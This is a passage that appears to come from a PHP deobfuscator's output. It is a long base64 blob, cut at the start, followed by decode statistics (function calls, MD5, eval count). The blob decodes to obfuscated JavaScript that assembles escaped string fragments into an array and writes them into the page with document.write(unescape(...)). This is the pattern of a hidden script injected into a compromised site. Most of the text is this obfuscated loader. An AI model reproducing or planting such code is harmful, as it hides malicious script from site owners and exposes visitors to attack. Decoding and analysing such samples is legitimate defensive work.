3UiOwpmRjdlU0Q4WzIwNV09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMDZdPSI1Q3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIwN109IjYzJTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsyMDhdPSJ1MDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzIwOV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMTBdPSIwMzIlMjU1Q3UwMDY2JTI1NSI7CmZGN2VTRDhbMjExXT0iQ3UwMDVjJTI1NUN1MCI7CmZGN2VTRDhbMjEyXT0iMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMjEzXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjE0XT0iMDAzNSUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMTVdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzIxNl09IjUlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMjE3XT0iMDMwJTI1NUN1MDAzNCUyNTUiOwpmRjdlU0Q4WzIxOF09IkN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsyMTldPSI1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyMF09IjVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMjFdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMjJdPSIlMjU1Q3UwMDMyJTI1NUN1MCI7CmZGN2VTRDhbMjIzXT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjI0XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjI1XT0iMDAzMCUyNTVDdTAwMzQlMjUiOwpmRjdlU0Q4WzIyNl09IjVDdTAwMzklMjU1Q3UwIjsKZkY3ZVNEOFsyMjddPSIwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFsyMjhdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMjldPSIwMDMwJTI1NUN1MDAzNSUyNSI7CmZGN2VTRDhbMjMwXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjMxXT0iMDA1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsyMzJdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMzNdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMzRdPSIlMjU1Q3UwMDM0JTI1NUN1MCI7CmZGN2VTRDhbMjM1XT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjM2XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjM3XT0iMDAzMCUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMzhdPSJDdTAwNjUlMjU1Q3UwIjsKZkY3ZVNEOFsyMzldPSIwMjclMjU1Q3UwMDI5IjsKZkY3ZVNEOFsyNDBdPSIlMjU1Q3UwMDNjJTI1NUMiOwpmRjdlU0Q4WzI0MV09InUwMDJmJTI1NUN1MDA3MyUyNSI7CmZGN2VTRDhbMjQyXT0iNUN1MDA2MyUyNTVDdTAwNyI7CmZGN2VTRDhbMjQzXT0iMiUyNTVDdTAwNjklMjU1Q3UiOwpmRjdlU0Q4WzI0NF09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzI0NV09IjQlMjU1Q3UwMDNlJTI1MjclMjUiOwpmRjdlU0Q4WzI0Nl09IjI5JTI1M0Mvc2NyaXB0JTI1IjsKZkY3ZVNEOFsyNDddPSIzRSUyMiUyOSUyOSUzQiUwQSUzQy9zY3JpIjsKZkY3ZVNEOFsyNDhdPSJwdCUzRSI7CmZvciAoaSA9IDA7IGkgPCBmRjdlU0Q4Lmxlbmd0aDsgaSArKykKewogICAgZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoZkY3ZVNEOFtpXSkpCn0KLy8gLS0+Cjwvc2NyaXB0Pg=='));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 6eb9de276e2dc8a8c5bc34c2ae6b30da
Eval Count 1
Decode Time 484 ms